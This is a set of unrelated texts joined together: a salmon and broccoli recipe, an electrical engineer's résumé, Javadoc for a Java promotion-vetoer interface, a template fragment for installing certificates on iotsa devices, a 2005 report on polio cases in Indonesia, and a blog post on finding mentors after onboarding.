Season salmon with half the rosemary and 1/2 teaspoon salt at least 20 minutes and up to 1 hour before cooking. Cut the broccoli into florets with 2-inch-long stalks. Remove the tough outer layer of the stalk with a vegetable peeler. Cut the florets in half lengthwise. Heat 1 tablespoon oil in a large wide saucepan over medium heat. Add onion and cook, stirring occasionally, until translucent, 3 to 4 minutes. Add raisins, pine nuts and the remaining rosemary; toss to coat with oil. Cook, stirring, until the pine nuts are fragrant and beginning to brown, 3 to 5 minutes. Add the broccoli, season with the remaining 1/2 teaspoon salt and toss to combine. Add water and bring to a boil. Reduce heat to maintain a gentle simmer and cook, stirring occasionally, until the water has almost evaporated, 8 to 10 minutes. Meanwhile, heat the remaining 1/2 tablespoon oil in a large nonstick skillet over medium-high heat. Add salmon, skinned-side up, and cook until golden brown, 3 to 5 minutes. Turn the salmon over, remove the pan from the heat and let stand until just cooked through, 3 to 5 minutes more. To serve, divide the broccoli among 4 plates. Top with salmon and spoon raisins, pine nuts and any liquid remaining in the pan over the salmon.


With a State Engineer & a Masters degrees in Electrical Engineering, obtained with honors from the National Polyechnic School in Algiers, I also have a significant background in software development, basically self taught using sources like : FreeCodeCamp, W3School, Youtube & Official documentation.
In addition to the technical background, my soft skills are well enhanced, for I was an active student in my college years which helped me build a strong personality and respectable leadership abilities.
An engineer with a versatile profile, Electrical engineering, Software Developement, Digital Marketing and Leadership !
Graduated with honors from the number one enegineering school in Algeria.
Succeed in the National contest to aceess Higher National Schools with a good ranking.
See more
Good handle of Python3 & javaScript ES6 programming languages.
Good handle of various develepment frameworks and libraries.
Good handle of HTML5 & CSS3.
See more
Previous experience as a community manager
Previous experience as a head of Communication & Marketing department
Master of different social media marketing techniques
See more
Access leadership program Alumni from the US embassy.
Toastmasters leadership and public speaking program.
Previous experience in Leadership positions and initiatives.
See more
Main courses :
Electric Machinary, Power Electronics, High Votage Techniques, Power Grids...
Graduation project :
TITLE: Design of unmanned aerial vehicle for power grid monitoring.
Useof the Pixhawk(with px4) as autopilot.
Use ROBOTICS OPERATING SYSTEM (ROS) to command the drone.
Implement AI technologies.
Link to see simulation results
Main courses :
Algebra, Mathematical Analysis ,Physics , Chemistry, Rational Mechanics, Computer Science, Statistics, Probalities, Fluid Mechanics, Thermodynamics ...
Pass the National Contest :
Ranked among the top 5% ( 63 out of 2000 candidates ) in the national contest to access higher national schools.
Tasks :
Study on the combined cycle power plant
Assist engineers on field missions (Cable tray & Grounding installation)
Tasks :
Assist during turbo alternator re-assemble.
Assist during the isolation tests on the turbo alternator.
Tasks :
Overview of the company's structure and services.
Study on power transformers maintenance.
Assist the maintenance team during intervetions on Power transformers.
Different Data structure & basic Algorithms
Libraries: Numpy, Pandas, Scrapy,Sklearn, OpenCV & much more
Object Oriented Programming.
Frameworks: Django, Flask, TensorFlow, KERAS, Robotics Operating System (ROS Melodic)
Different Data structure & basic Algorithms.
Object Oriented Programming.
Libraries: JQuery, SASS & much more.
Currently learning ReactJs & NodeJs.
General understanding of the different tags and web page structure.
Master of the different styling techniques using CSS3 including Flexbox, CSS Grids, Animations & much more.
General understanding of the basic structure of Databases.
Understanding the different relations in relatianal databases.
Good command of the manipulations on databases.
Familiar with MySql, SQLite.
Language : Python. Framework : Robotics Operating System.
Plan and implement a NODE/TOPIC/MESSAGE structure to command drones.
Run and simulate the command model with Gazebo simulator on a Linux machine.
Link to project
Language : Python. Frameworks: TensorFlow, KERAS.
Collection of labeled data.
Train the model.
Simulate and confirm the efficiency of the model.
Link to project
Building a machine learning model to predict the clickability of Real Time Bidding ads, using a large collected dataset, different data mining and analysing techniques and various machine learning algorithms.
Implement the model built in a web application using Flask framework.
Link to project
Finished : Responsive Web Design & Scientific Computing with Python certificates
Currently enrolling : JavaScrips algorithms and Data structures certificates
Link to my page
Establish and structure a new department within the club
Lead a team of more than 30 members
Increase the audience attendance in events with more than 300%
Link to Facebook page
Micro Scholarship offered by the US Embassy in Algiers
Two years programs to learn english and acquire leadership skills
See Certificate
Dynamic Leadership
Public Speaking
Team Management
Self Motivation
Integrity
High Self Teaching ability
Oriented Object Programming
Relational DataBases
Machine Learning
Simulations(MATLAB, Gazebo)
Django/Flask
HTML/CSS3
Python, Js, C
Git
Windows/Linux
Good Math/Algebra/Physics prerequisites


|
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| SUMMARY: NESTED | FIELD | CONSTR | METHOD | DETAIL: FIELD | CONSTR | METHOD |
public interface PricingModelEvaluationVetoer
Interface to implement a promotion evaluation vetoer. Allows promotions to be vetoed before being evaluated. Vetoers can be configured for a pricing engine. The engine will first call the prepareForVetoing method before iterating over the promotions and calling the vetoPromotion method.
PricingEngineService.mPricingModelEvaluationVetoers
| Field Summary | |
|---|---|
static java.lang.String |
CLASS_VERSION
Class version string |
| Method Summary | |
|---|---|
java.lang.Object |
prepareForVetoing(PricingEngineService pPricingEngine,
PricingContext pPricingContext,
java.util.Map pExtraParametersMap)
Prepares a vetoer for vetoing promotions. |
java.lang.String |
vetoPromotion(PricingEngineService pPricingEngine,
PricingContext pPricingContext,
java.util.Map pExtraParametersMap,
java.lang.Object pVetoParam)
Allows the promotion in pPricingContext to be vetoed. |
| Field Detail |
|---|
static final java.lang.String CLASS_VERSION
| Method Detail |
|---|
java.lang.Object prepareForVetoing(PricingEngineService pPricingEngine, PricingContext pPricingContext, java.util.Map pExtraParametersMap)
Prepares a vetoer for vetoing promotions.
This allows a vetoer to inspect the pricing context and extract any information needed to do it's vetoing. e.g. a sku vetoer might extract the skus from the order. This information can be returned from this method as an Object which will subsequently be passed into the vetoPromotion method for vetoing each promotion.
An implementation should only return null if it's vetoPromotion method should not be subsequently called for each promotion.
pPricingEngine
- PricingEngineService that called this vetoerpPricingContext
- PricingContext for this pricing operationpExtraParametersMap
- Map of extra parameters if needed
vetoPromotion(PricingEngineService, PricingContext, Map, Object)
java.lang.String vetoPromotion(PricingEngineService pPricingEngine, PricingContext pPricingContext, java.util.Map pExtraParametersMap, java.lang.Object pVetoParam)
Allows the promotion in pPricingContext to be vetoed.
A vetoer could inspect the pricing context or use the passed in pVetoParam Object to decide whether the promotion should be vetoed.
pPricingEngine
- PricingEngineService that called this vetoerpPricingContext
- PricingContext including the promotion to be checkedpExtraParametersMap
- Map of extra parameters if neededpVetoParam
- Object returned by prepareForVetoing method,
guaranteed to not be null.
prepareForVetoing(PricingEngineService, PricingContext, Map)
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Error: The Igor ca plugin is needed to sign certificates for iotsa devices.
{% endif %} {% endif %} {% if deviceKey and deviceCertificate %} {% set ds1 = pluginObject._getorset(device, module="config", protocol=protocol, credentials=credentials, port=port, noverify=noverify, token=token, httpsKey=deviceKey) %} {% set ds2 = pluginObject._getorset(device, module="config", protocol=protocol, credentials=credentials, port=port, noverify=noverify, token=token, httpsCertificate=deviceCertificate, reboot=1) %} {% set message = ds1.message or ds2.message %} {% if message %}User intervention required: {{message}}
{% else %} {% set _ = pluginObject._getpersist(device, clearNoverify=True) %}It seems installing the certificate and key was successful. Re-enabled certificate verification. Visit {{device}} status page to test.
{% endif %} {% else %}Both Key and Certificate must be specified.
{% endif %}


1 July 2005
On 30 June 2005, 1 new polio case was confirmed in Indonesia, bringing the total number of cases to 66. The new case is the first from Lampung Province on the island of Sumatra. The 3-year old girl had onset of paralysis on 4 June.
Both this case and a previous case from Central Java are from outside the area where an emergency 'mop-up' campaign was held from 31 May to 2 June, covering the provinces of West Java, Banten and Jakarta, to reach 6.4 million children under the age of five years. A second round of vaccinations was completed on 29 June.
A large outbreak response immunization targeting 78,000 children aged less than five years was held from 26 June around the case in Central Java. Lampung and Central Java will be included in the next phase of the large-scale immunization campaigns which will start from August.


--- layout: post title: Finding Mentorship After Onboarding ---
One of the first questions I got after giving my talk about mentoring new hires was (paraphrasing) "how do you deal with effectively mentoring people who are 1+ year into their time on the team?". This question has stuck with me over the past year, mostly because I didn't have a particularly coherent answer at the time, and I stumbled through answering it. Over the past year I've spent a lot of time thinking about my own process of acquiring mentorship, and I finally have a (more) cohesive answer to "how do you handle mentorship after onboarding". I wanted to take a chance to share those thoughts, in hopes that people who are 1+ year into their time on a team can chart their own path to getting the mentorship and resources they need to succeed
One of the challenging things about talking about post-onboarding mentorship is that it's very individualized, which makes in hard to systematize in the same way onboarding can be systematized. Everyone who is joining a new team has (broadly speaking) the same set of mentorship requirements. Regardless of their level of experience, they will need to get familiar with the codebase, understand the team's culture, and learn any essential processes that they’ll need to be following. This set of standardized requirements makes it pretty easy to define a team/company-wide ramp-up process that everyone can follow.
However, things get more tricky when it comes to mentoring after onboarding. After the newhire phase it’s dang near impossible to create a one size fits all approach for mentoring engineers. Everyone has such a wide variety of skills, working styles, and goals that it would be folly to establish a single specific process for everyone.
What this means in practice is that if you want to receive effective mentorship after onboarding, the process needs to start with you understanding what you want to learn. Do you want to level up your architecture game so that you can build more maintainable code, or do you want to learn how to understand your users better so that you can find the right features that match their needs? Both of these are valid options, but they require finding mentors with very different skills.
It's worth noting here that figuring out an answer to “what skills do I want to learn?” is incredibly abstract and can lead to overwhelming decision paralysis. One way I overcame this was to decompose this question into three simpler ones:
After running through this exercise I discovered two things. First, everyone I looked up to was both a strong technical contributor and an empathetic communicator. Second, I want to work on data-focused products in the future. This led me to seek out mentors and opportunities which taught me to be a stronger communicator who can build data products. The specific skills that you admire may be totally different, but what's important is that you find clusters of skills that matter to you; these are the skills that you'll want to focus on getting mentored.
You may find this exercise gives you a large number of mentorable skills, but I always try to pare it down to one or two key areas to focus on at a time. It can be tempting to attempt to get better at everything all at once, but this eventually becomes a fool's errand. At a certain point, it becomes important to invest in nuance over novelty and buckle down on improving one or two skills before you focus on leveling up other ones. One other important thing to keep in mind as you're deciding on what to learn next is you can both learn from a prospective mentor and apply in practice. You may want to learn everything about machine learning, but if you don’t have any opportunities to actually apply any ML concepts, then it may not be right to find an ML engineer as a mentor because you won't be able to practice what you learned.
Once you've whittled to one or two skills, you may think "zomg, there's no way I can find someone to teach me these two very different things." That's okay! There probably isn't one person who can help you learn all the skills you're looking to grow. Every mentor will come with their own skills and experience, none of which will perfectly match what you need. Instead, once you have your list of skills of you should strive to form a career board of directors, each of whom teaches you a unique skill, rather than a single mentor who can teach you everything. Fortunately, if you've followed identified people you admire, you've already got a head start on finding who you want to sit on this board
Once you've identified potential candidates for your personal board, it's time to reach out and see if any of them is willing to be a resource for you. Surprisingly, I've seen many people get stuck after they find a prospective mentor and ask “how do I get them to mentor me?”. The answer is simple: you just ask them to help you with something specific! SO MANY people (myself included) find someone awesome that they wish could learn from, only to have self-doubt creep in and say “oh, that person’s too busy/important to get coffee with me” or “I should figure this out on my own and not bother them”. In these cases, self-doubt needs to slow its roll for a few reasons:
Once you’ve kicked self-doubt to the curb, you can email your potential mentor to ask to talk with them about whatever you’re interested in. If you’re unsure what to say, try this handy email template I use to get coffee with literally anyone:
Hello <person>! My name is Jon Maltz and I’m a <thing you would be able to relate to>. I saw your <thing that makes me think you’re awesome> and would love to talk more about <concept>. Do you have time to get coffee over the next couple weeks to talk about that?
Again, the worst response you get here is “sorry, I’m too busy”, but chances are they’ll say “I’d be happy to”, and you can go meet with them. When you do this, make sure to come prepared with specific questions that they will have a unique perspective on. Your mentor's time is valuable, and you want to show that you value it by asking them questions that you can't answer with a Google search.
This first interaction may surprise you: you may come prepared expecting to have answers handed to you on a silver platter only to find that your prospective mentor isn't helpful in the way you expected. That's okay! There's no harm in thanking them for their time and going on your way to find someone who does fit with what you're looking for. When I'm looking for a new mentor, I like to run "mentoring adoption tests", where I get coffee with a couple of different people to see which one I communicate best with. Once I find someone I click with, I'll send a follow-up email that looks something like this.
Hello <person>! Thanks for taking the time to discuss <interesting thing> with me. I’m working on improving <growth area> and really appreciated your perspectives on <concept you discussed>. Is it cool if I schedule time every <cadence> to get your perspectives on the challenges I encounter as I try to <do thing which will allow me to apply the things you're teaching me about>?
Bear in mind that you will probably want to meet people at different frequencies depending on their availability and what you're trying to learn. Some people may be really helpful at figuring out the tactical day-to-days of your problems and are worth meeting frequently', while others provide more high-level perspective and don't provide as much regular value. My own collection of mentors at Yelp contains 3 people, all whom I meet at different intervals.
Scott Triglia: Tech Lead. I now get coffee with Scott once a month in sessions that I jokingly refer to as "Scott and Maltz contemplate the universe", where I ask a high-level question like "how do you think about working in a technology where you're not an expert?" and we talk about them for 30 minutes. These don't provide anything specific for me to do THAT DAY, but they do provide me a framework for thinking about tackling larger-scale problems.
Justin Cunningham: Technical Lead. Justin is the overall lead for our data efforts at Yelp, so has more context on my day-to-day than Scott does. We have weekly 1:1s where we discuss how to move forward with my piece of a larger project.
Brad Barry: Eng. Manager. Brad and I get together every 2-4 weeks to talk about what we've got going on in our life/work. Brad's been out of the code-writing game for about a year now, so I rarely ask him about anything technical. At the same time, he is tremendous at thinking about how to teach and grow others, so I will usually pitch him my latest blog post or conference talk to get his thoughts on how others might receive that message. This outside perspective helps me get a broader perspective about how to create content that's useful for other engineers.
I hope that gives you a sense for the variety of different mentoring relationships that I've built up, and how I’ve structured each relationship differently depending on what I want to learn. All of these relationships evolved organically as my own needs + questions evolved, but they all started out the same way: I found an area where I wanted to grow, I identified someone who could help me improve in that area, and I scheduled time to regularly bring them clear questions that were on my mind.
Happy learning!